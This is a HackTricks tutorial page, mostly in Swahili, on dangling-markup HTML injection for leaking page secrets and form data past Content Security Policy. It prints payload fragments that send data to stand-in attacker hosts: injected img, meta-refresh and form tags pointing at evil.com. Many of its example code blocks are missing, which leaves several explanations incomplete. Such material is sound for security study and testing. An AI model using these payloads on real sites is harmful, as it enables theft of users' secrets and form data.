Dangling Markup - HTML scriptless injection
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Teknolojia hii inaweza kutumika kutoa taarifa kutoka kwa mtumiaji wakati HTML injection inapatikana. Hii ni muhimu sana ikiwa hupati njia yoyote ya kutumia XSS lakini unaweza kuiingiza baadhi ya vitambulisho vya HTML. Pia ni muhimu ikiwa siri fulani imehifadhiwa kwa maandiko wazi katika HTML na unataka kuichukua kutoka kwa mteja, au ikiwa unataka kupotosha utekelezaji wa script fulani.
Mbinu kadhaa zilizozungumziwa hapa zinaweza kutumika kupita baadhi ya Content Security Policy kwa kuhamasisha taarifa kwa njia zisizotarajiwa (vitambulisho vya html, CSS, vitambulisho vya http-meta, fomu, msingi...).
Ikiwa unaiingiza <img src='http://evil.com/log.cgi?
wakati ukurasa unapo load, mwathirika atakutumia msimbo wote kati ya vitambulisho vya img
vilivyoingizwa na nukuu inayofuata ndani ya msimbo. Ikiwa siri fulani iko katika kipande hicho, utaiba hiyo (unaweza kufanya jambo hilo hilo kwa kutumia nukuu mbili, angalia ni ipi inaweza kuwa ya kuvutia zaidi kutumia).
Ikiwa vitambulisho vya img
vinakatazwa (kwa sababu ya CSP kwa mfano) unaweza pia kutumia <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
Note that Chrome blocks HTTP URLs with "<" or "\n" in it, so you could try other protocol schemes like "ftp".
Unaweza pia kutumia vibaya CSS @import
(itapeleka msimbo wote hadi ipate ";")
Unaweza pia kutumia <table
:
Unaweza pia kuingiza tag ya <base
. Taarifa zote zitatumwa hadi nukuu ifungwe lakini inahitaji mwingiliano wa mtumiaji (mtumiaji lazima abonyeze kiungo fulani, kwa sababu tag ya base itakuwa imebadilisha eneo lililokusudiwa na kiungo):
Kisha, fomu zinazotuma data kwenye njia (kama <form action='update_profile.php'>
) zitatuma data hizo kwenye eneo la hatari.
Weka kichwa cha fomu: <form action='http://evil.com/log_steal'>
hii itabadilisha kichwa cha fomu inayofuata na data zote kutoka kwa fomu zitatumwa kwa mshambuliaji.
Kitufe kinaweza kubadilisha URL ambapo taarifa za fomu zitapelekwa kwa kutumia sifa "formaction":
Mshambuliaji anaweza kutumia hii kuiba taarifa.
Pata mfano wa shambulio hili katika andiko hili.
Kwa kutumia mbinu iliyotajwa hivi karibuni kuiba fomu (kuingiza kichwa kipya cha fomu) unaweza kisha kuingiza uwanja mpya wa ingizo:
na hii sehemu ya kuingiza itakuwa na maudhui yote kati ya nukta zake mbili na nukta inayofuata katika HTML. Shambulio hili linachanganya "Kuharibu siri za maandiko wazi" na "Kuharibu fomu2".
Unaweza kufanya kitu sawa kwa kuingiza fomu na tag <option>
. Data zote hadi </option>
iliyofungwa itatumwa:
Unaweza kubadilisha njia ya fomu na kuingiza thamani mpya ili hatua isiyotarajiwa ifanyike:
<noscript></noscript>
Ni tag ambayo maudhui yake yatafasiriwa ikiwa kivinjari hakisaidii javascript (unaweza kuwasha/kuzima Javascript katika Chrome kwenye chrome://settings/content/javascript).
Njia ya kutoa maudhui ya ukurasa wa wavuti kutoka kwenye eneo la sindano hadi chini kwenye tovuti inayodhibitiwa na mshambuliaji itakuwa kuingiza hii:
Kutoka kwenye utafiti wa portswiggers unaweza kujifunza kwamba hata kutoka kwenye mazingira yanayozuia CSP zaidi bado unaweza kuhamasisha data kwa baadhi ya ushirikiano wa mtumiaji. Katika tukio hili tutatumia payload:
Note kwamba utaomba mhasiriwa abofye kiungo ambacho kitampeleka payload iliyo chini ya udhibiti wako. Pia kumbuka kwamba target
ndani ya base
tag itakuwa na maudhui ya HTML hadi nukta moja ya moja.
Hii itafanya kwamba thamani ya window.name
ikiwa kiungo kimebofywaji itakuwa yote hayo maudhui ya HTML. Kwa hivyo, kwa kuwa unadhibiti ukurasa ambao mhasiriwa anafikia kwa kubofya kiungo, unaweza kufikia hiyo window.name
na kuhamasisha data hiyo:
Weka tag mpya yenye id ndani ya HTML ambayo itabadilisha ile inayofuata na thamani ambayo itakuwa na athari kwenye mtiririko wa script. Katika mfano huu unachagua na nani taarifa itashirikiwa:
Unda mabadiliko ndani ya javascript namespace kwa kuingiza vitambulisho vya HTML. Kisha, mabadiliko haya yataathiri mtiririko wa programu:
Ikiwa unapata interface ya JSONP unaweza kuwa na uwezo wa kuita kazi yoyote na data yoyote:
Au unaweza hata kujaribu kutekeleza baadhi ya javascript:
Hati ya mtoto ina uwezo wa kuona na kubadilisha mali ya location
ya mzazi wake, hata katika hali za cross-origin. Hii inaruhusu kuingiza script ndani ya iframe ambayo inaweza kuelekeza mteja kwenye ukurasa wowote:
Hii inaweza kupunguzika kwa kutumia kitu kama: sandbox=' allow-scripts allow-top-navigation'
Iframe pia inaweza kutumika vibaya kuvuja taarifa nyeti kutoka ukurasa tofauti kwa kutumia sifa ya jina la iframe. Hii ni kwa sababu unaweza kuunda iframe ambayo inajifunga yenyewe ikitumia uingizaji wa HTML ambao unafanya taarifa nyeti kuonekana ndani ya sifa ya jina la iframe na kisha kufikia jina hilo kutoka iframe ya awali na kuvuja.
Kwa maelezo zaidi angalia https://portswigger.net/research/bypassing-csp-with-dangling-iframes
Unaweza kutumia meta http-equiv
kufanya vitendo kadhaa kama kuweka Cookie: <meta http-equiv="Set-Cookie" Content="SESSID=1">
au kufanya uelekeo (katika sekunde 5 katika kesi hii): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
Hii inaweza kuepukwa kwa CSP kuhusu http-equiv ( Content-Security-Policy: default-src 'self';
, au Content-Security-Policy: http-equiv 'self';
)
Unaweza kupata utafiti wa kuvutia sana kuhusu udhaifu unaoweza kutumika wa tag <portal hapa.
Wakati wa kuandika hii unahitaji kuwezesha tag portal kwenye Chrome katika chrome://flags/#enable-portals
au haitafanya kazi.
Sio njia zote za kuvuja muunganisho katika HTML zitakuwa na manufaa kwa Dangling Markup, lakini wakati mwingine zinaweza kusaidia. Angalia hapa: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
Hii ni mchanganyiko kati ya dangling markup na XS-Leaks. Kutoka upande mmoja, udhaifu unaruhusu kuingiza HTML (lakini si JS) katika ukurasa wa asilimia moja ya ule tutakaoshambulia. Kutoka upande mwingine hatutashambulia moja kwa moja ukurasa ambapo tunaweza kuingiza HTML, bali ukurasa mwingine.
SS-LeaksXS-Search zimeelekezwa kwenye kuondoa taarifa za cross-origin kwa kutumia shambulio la upande. Hivyo, ni mbinu tofauti na Dangling Markup, hata hivyo, baadhi ya mbinu zinatumia ujumuishaji wa vitambulisho vya HTML (pamoja na bila utekelezaji wa JS), kama CSS Injection au Lazy Load Images.
XS-Search/XS-LeaksLearn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)